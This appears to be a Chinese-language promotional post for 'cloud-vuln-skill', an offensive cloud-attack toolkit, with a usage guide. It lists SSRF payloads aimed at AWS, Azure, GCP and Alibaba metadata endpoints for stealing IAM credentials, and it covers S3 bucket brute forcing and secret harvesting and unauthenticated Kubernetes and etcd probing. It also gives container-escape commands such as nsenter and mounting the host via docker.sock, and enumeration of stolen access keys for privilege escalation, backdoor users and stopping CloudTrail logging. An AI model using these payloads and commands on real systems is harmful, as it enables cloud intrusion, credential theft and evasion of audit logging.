0x01 工具介绍cloud-vuln-skill 是一款轻量化、开源的云安全漏洞挖掘工具集专为红队渗透与合规安全测试打造。工具无需复杂部署可自动化完成S3存储桶爆破、云IMDS元数据探测、K8s未授权检测、容器逃逸风险筛查等核心操作。同时支持AK/SK凭据验证、权限枚举与提权路径分析全程遵循只读探测原则无破坏性操作高效覆盖主流公有云漏洞攻击面适配日常云资产风险巡检与实战攻防演练。注意现在只对常读和星标的才展示大图推送建议大家把渗透安全HackTwo设为星标⭐️否则可能就看不到了啦下载地址在末尾 #渗透安全HackTwo0x02 功能介绍✨核心特点brute-s3— S3 桶名爆破python scripts/cloud_scanner.py brute-s3 --keyword 关键词 [--threads 20] [--delay 0.1] [--format table|json]将关键词与 70 常见后缀-prod、-dev、-backup、-terraform、-secrets等拼接向 AWS 全球端点和区域端点并发 HTTP HEAD 请求。状态码含义200公开桶可列目录403存在但非公开404/DNS 失败不存在参数--keyword公司名/关键词必填--threads并发线程数默认 15--delay请求间隔秒数默认 0.05增大可避免云端限流--formatjson默认或tablecheck-bucket— 单桶公开状态检查python scripts/cloud_scanner.py check-bucket --name 桶名 [--region us-east-1]三项检测公开可列— GET 桶根路径200 且响应含Key即为可列目录公开可写— PUT 测试文件200 即为可写测试后自动清理公开可读— HEAD 常见文件名scan-bucket— 公开桶敏感文件扫描python scripts/cloud_scanner.py scan-bucket --url 桶URL [--max-files 100] [--threads 10]两级匹配机制第一级文件名匹配— 13 类敏感文件不需要下载.env、terraform.tfstate、credentials、id_rsa、*.sql、*.dump、config.yml、secret.yaml、Dockerfile、.git/config、*.pem、*.zip、.bash_history第二级内容关键词— 仅下载 ≤10KB 的文件头部搜索AKIA、ASIA、BEGIN RSA PRIVATE KEY、DB_PASSWORD、AWS_ACCESS_KEY_ID、connectionString、Bearer、CREATE TABLE桶不可列时自动切换爆破模式用 30 个常见文件名逐个探测。probe-ssrf— SSRF → IMDS 凭证窃取探测python scripts/cloud_scanner.py probe-ssrf --target URL --param 参数名向目标 URL 的参数注入云元数据服务地址检测响应中是否含云凭证关键词。注入的 Payload#Payload目标1http://169.254.169.254/latest/meta-data/AWS IMDSv12http://169.254.169.254/latest/meta-data/iam/security-credentials/AWS IAM Role 名3http://169.254.169.254/metadata/instance?api-version2021-02-01Azure IMDS4http://metadata.google.internal/computeMetadata/v1/GCP5http://100.100.100.200/latest/meta-data/阿里云6http://[::ffff:a9fe:a9fe]/latest/meta-data/AWS IPv6 映射绕过probe-k8s— K8s 未授权访问探测python scripts/cloud_scanner.py probe-k8s --node IP扫描 7 个高危端口端口服务探测路径6443K8s API (TLS)/api/v1/pods/api/v1/secrets/version8080K8s API (Plain)同上10250Kubelet/pods/runningpods/10255Kubelet RO/pods2379etcd/version/v2/keys4194cAdvisor/containers10256kube-proxy/healthzcontainer-escape— 容器逃逸条件检测# 在容器/Pod 内运行python scripts/cloud_scanner.py container-escape11 项自动检测检测危险度逃逸方法/var/run/docker.sock挂载docker run -v /:/host alpine chroot /hostPrivileged 模式nsenter --target 1 --mount --pid -- bashCAP_SYS_ADMINcgroup release_agent 逃逸CAP_SYS_PTRACE宿主机进程注入hostPIDnsenter -t 1hostPath 挂载直接读写宿主机文件K8s SA Token调 API Server 操作资源IMDS 可达获取云 IAM 凭证Containerd Socketctr 命令控制容器仅检测不利用不会尝试实际逃逸。exploit-creds— AK/SK 验证与权限枚举python scripts/cloud_scanner.py exploit-creds --ak AccessKey --sk SecretKey [--token SessionToken] [-o result.json]一条命令完成五步身份验证—sts:GetCallerIdentity→ Account ID、ARNIAM 信息收集— 附加策略、Inline Policy、所属组、MFA 状态高危权限探测—真实验证23 个 API读操作直接调用写操作使用安全假参数/DryRun 探测不产生副作用提权路径分析— 匹配 10 种危险权限组合S3 桶枚举— 列出桶 检查 Block Public Access 加密状态高危权限探测覆盖类别探测命令验证方式直接提权iam:CreatePolicyVersion假策略 ARN 探测直接提权iam:AttachUserPolicy不存在的用户名探测后门iam:CreateUseriam:CreateAccessKey不存在用户名探测EC2ec2:RunInstancesDryRun 模式安全Lambdalambda:UpdateFunctionCode不存在函数名 空 zipS3s3:PutBucketPolicy不存在桶名探测反取证cloudtrail:StopLogging直接调用会失败但不产生效果0x03 更新介绍增加其他厂商存储桶利用0x04 使用介绍安装与使用指南​​​​​​​cd cloud-vuln-skillpip install -r requirements.txt​​​​​ # 信息收集无需云凭证 # S3 桶名爆破 python scripts/cloud_scanner.py brute-s3 --keyword company-name # 单桶公开状态检查 python scripts/cloud_scanner.py check-bucket --name company-prod # 公开桶敏感文件扫描 python scripts/cloud_scanner.py scan-bucket --url https://bucket-name.s3.amazonaws.com # SSRF → IMDS 凭证窃取探测 python scripts/cloud_scanner.py probe-ssrf --target https://target.com/api --param url # K8s 节点未授权访问探测 python scripts/cloud_scanner.py probe-k8s --node 10.0.0.1 # 容器逃逸条件检测在容器/Pod 内运行 python scripts/cloud_scanner.py container-escape # 凭据利用拿到 AK/SK 后 python scripts/cloud_scanner.py exploit-creds --ak AKIAXXXXXX --sk xxxxxxxxxxxx0x05 下载《渗透安全HackTwo》回复20260728获取下载